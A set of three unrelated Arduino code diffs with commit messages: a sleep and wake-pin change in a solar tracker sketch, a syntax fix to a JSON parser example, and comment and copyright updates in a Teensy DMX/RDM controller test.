 #define PIN_TX 6          // PD6
 #define PIN_PERIF_POWER 7 // PD7
+#define PIN_WAKEUP 2 // INT0

 #define PIN_LDR_LEFT  0 // PC0
 #define PIN_LDR_RIGHT 1 // PC1
@@ -83,8 +84,6 @@
 #define SERVO_HORZ_MIN 700
 #define SERVO_PIN_HORZ_POWER 8 // PB0

-#define DARK_THRESHOLD 500 // too dark below this
-
 #define SLEEP_FLAG_DARK 0  // Gone to sleep because it is dark
 #define SLEEP_FLAG_IDLE 1  // Gone to sleep because nothing to do

@@ -100,14 +99,14 @@
 // The transmit interval.
 const long tx_interval = 2000;

-int light_level = 0; // latest light reading from the LDR
-
 byte ledState = HIGH;
 byte msgId = 0;

 byte sleep_flag;
 byte awake_tx_count = 0;

+int light_level = 0;
+
 Servo servo_horz;

 // Store the current servo positions.
@@ -119,6 +118,7 @@
 void wakeUp()
 {
   // Just wake up
+  detachInterrupt(0); // No wakeup interupt while awake
 }

 ISR(WDT_vect)
@@ -131,8 +131,9 @@
     watchdog_setup();

     Serial.begin(9600);
-
-    pinMode(LED_DEBUG, OUTPUT);
+    pinMode(LED_DEBUG, OUTPUT);
+
+    pinMode(PIN_WAKEUP, INPUT);
     pinMode(PIN_TX, OUTPUT);
     pinMode(SERVO_PIN_HORZ_POWER, OUTPUT);

@@ -163,9 +164,10 @@
         // Move the panels if needed.
         tkr_move();

-        if (light_level < DARK_THRESHOLD) {
-          //goToSleep(SLEEP_FLAG_DARK);
-          //TODO connect PIN_LDR_LEFT to INT0
+        // INT0 pin LOW = sleep
+        if (!digitalRead(PIN_WAKEUP)) {
+          goToSleep(SLEEP_FLAG_DARK);
+          //TODO connect LDR to INT0
         }

     }
@@ -331,7 +333,6 @@

   if (sleep_flag == SLEEP_FLAG_DARK) {
-    detachInterrupt(0); // No wakeup interupt while awake
     watchdog_setup(); // watchdog back on
   }


Fixed char[] json in the example

Fixed char[] json in the example

--- examples/JsonParserExample/JsonParserExample.ino
+++ examples/JsonParserExample/JsonParserExample.ino
@@ -1,94 +1,94 @@
-/*
-* malloc-free JSON parser for Arduino
-* Benoit Blanchon 2014 - MIT License
-*/
-
-#include <JsonParser.h>
-
-void ParseAnObject()
-{
-    char[] json = "{\"Name\":\"Blanchon\",\"Skills\":[\"C\",\"C++\",\"C#\"],\"Age\":32,\"Online\":true}";
-
-    JsonParser<32> parser;
-
-    Serial.print("Parse ");
-    Serial.println(json);
-
-    JsonHashTable hashTable = parser.parseHashTable(json);
-
-    if (!hashTable.success())
-    {
-        Serial.println("JsonParser.parseHashTable() failed");
-        return;
-    }
-
-    char* name = hashTable.getString("Name");
-    Serial.print("name=");
-    Serial.println(name);
-
-    JsonArray skills = hashTable.getArray("Skills");
-    Serial.println("skills:");
-    for (int i = 0; i < skills.getLength(); i++)
-    {
-        char* value = skills.getString(i);
-        Serial.print(i);
-        Serial.print(" ");
-        Serial.println(value);
-    }
-
-    int age = hashTable.getLong("Age");
-    Serial.print("age=");
-    Serial.println(age);
-
-    bool online = hashTable.getBool("Online");
-    Serial.print("online=");
-    Serial.println(online);
-}
-
-void ParseAnArray()
-{
-    char[] json = "[[1.2,3.4],[5.6,7.8]]";
-
-    JsonParser<32> parser;
-
-    Serial.print("Parse ");
-    Serial.println(json);
-
-    JsonArray array = parser.parseArray(json);
-
-    if (!array.success())
-    {
-        Serial.println("JsonParser.parseArray() failed");
-        return;
-    }
-
-    for (int i = 0; i < array.getLength(); i++)
-    {
-        Serial.println(i);
-
-        JsonArray innerArray = array.getArray(i);
-
-        for (int j = 0; j < innerArray.getLength(); j++)
-        {
-            double value = innerArray.getDouble(j);
-
-            Serial.print("  ");
-            Serial.print(j);
-            Serial.print("=");
-            Serial.println(value);
-        }
-    }
-}
-
-void setup()
-{
-    Serial.begin(9600);
-
-    ParseAnObject();
-    ParseAnArray();
-}
-
-void loop()
-{
-
-}
+/*
+* malloc-free JSON parser for Arduino
+* Benoit Blanchon 2014 - MIT License
+*/
+
+#include <JsonParser.h>
+
+void ParseAnObject()
+{
+    char json[] = "{\"Name\":\"Blanchon\",\"Skills\":[\"C\",\"C++\",\"C#\"],\"Age\":32,\"Online\":true}";
+
+    JsonParser<32> parser;
+
+    Serial.print("Parse ");
+    Serial.println(json);
+
+    JsonHashTable hashTable = parser.parseHashTable(json);
+
+    if (!hashTable.success())
+    {
+        Serial.println("JsonParser.parseHashTable() failed");
+        return;
+    }
+
+    char* name = hashTable.getString("Name");
+    Serial.print("name=");
+    Serial.println(name);
+
+    JsonArray skills = hashTable.getArray("Skills");
+    Serial.println("skills:");
+    for (int i = 0; i < skills.getLength(); i++)
+    {
+        char* value = skills.getString(i);
+        Serial.print(i);
+        Serial.print(" ");
+        Serial.println(value);
+    }
+
+    int age = hashTable.getLong("Age");
+    Serial.print("age=");
+    Serial.println(age);
+
+    bool online = hashTable.getBool("Online");
+    Serial.print("online=");
+    Serial.println(online);
+}
+
+void ParseAnArray()
+{
+    char json[] = "[[1.2,3.4],[5.6,7.8]]";
+
+    JsonParser<32> parser;
+
+    Serial.print("Parse ");
+    Serial.println(json);
+
+    JsonArray array = parser.parseArray(json);
+
+    if (!array.success())
+    {
+        Serial.println("JsonParser.parseArray() failed");
+        return;
+    }
+
+    for (int i = 0; i < array.getLength(); i++)
+    {
+        Serial.println(i);
+
+        JsonArray innerArray = array.getArray(i);
+
+        for (int j = 0; j < innerArray.getLength(); j++)
+        {
+            double value = innerArray.getDouble(j);
+
+            Serial.print("  ");
+            Serial.print(j);
+            Serial.print("=");
+            Serial.println(value);
+        }
+    }
+}
+
+void setup()
+{
+    Serial.begin(9600);
+
+    ParseAnObject();
+    ParseAnArray();
+}
+
+void loop()
+{
+
+}


update example

update example

--- examples/rdmControllerTest/rdmControllerTest.ino
+++ examples/rdmControllerTest/rdmControllerTest.ino
@@ -3,7 +3,7 @@
     @file     rdmTest.ino
     @author   Claude Heintz
     @license  BSD (see LXTeensy3DMX LICENSE)
-    @copyright 2017 by Claude Heintz
+    @copyright 2017-2020 by Claude Heintz

         Test of LXTeensy3DMX RDM functions
         Changes output level of some DMX Addresses while building RDM
@@ -12,6 +12,7 @@
     @section  HISTORY

     v1.00 - First release
+    v1.1  - Clean up and add comments
 */
 /**************************************************************************/

@@ -21,8 +22,8 @@
 #include <rdm/TOD.h>

 /* Teensy 4's pins are not 5v tolerant!
- * One method of converting signal from a 5v powered MAX485 to 3.3v
- * is to use a pullup resistor to 3.3v and a transistor
+ * One method of converting signal from a 5v powered RS-485 transceiver
+ * to 3.3v is to use a pullup resistor to 3.3v and a transistor
  * to ground on the rx pin.  This inverts the signal so HIGH
  * from the 485 turns on the transistor, pulling the rx pin LOW.
  * Conversely, LOW from the 485 turns the transistor off and
@@ -31,6 +32,15 @@
  */
 uint8_t rx_polarity = RX_SIGNAL_NORMAL; // or RX_SIGNAL_INVERTED

+/* RDM requires that the direction of the RS-485 transceiver
+ * is switched between tx and rx.  On a MAX485, the transmit
+ * enable and inverted receive enable pins are tied together
+ * and connected to the direction pin.
+ */
+#define DIRECTION_PIN 3
+
+//***************** sketch variables
+
 uint8_t testLevel = 0;
 uint8_t loopDivider = 0;
 uint8_t identifyFlag = 1;
@@ -44,7 +54,6 @@
 UID mid(0,0,0,0,0,0);
 UID found(0,0,0,0,0,0);

-#define DIRECTION_PIN 3
 #define DISC_STATE_SEARCH 0
 #define DISC_STATE_TBL_CK 1
 uint8_t discovery_state = DISC_STATE_TBL_CK;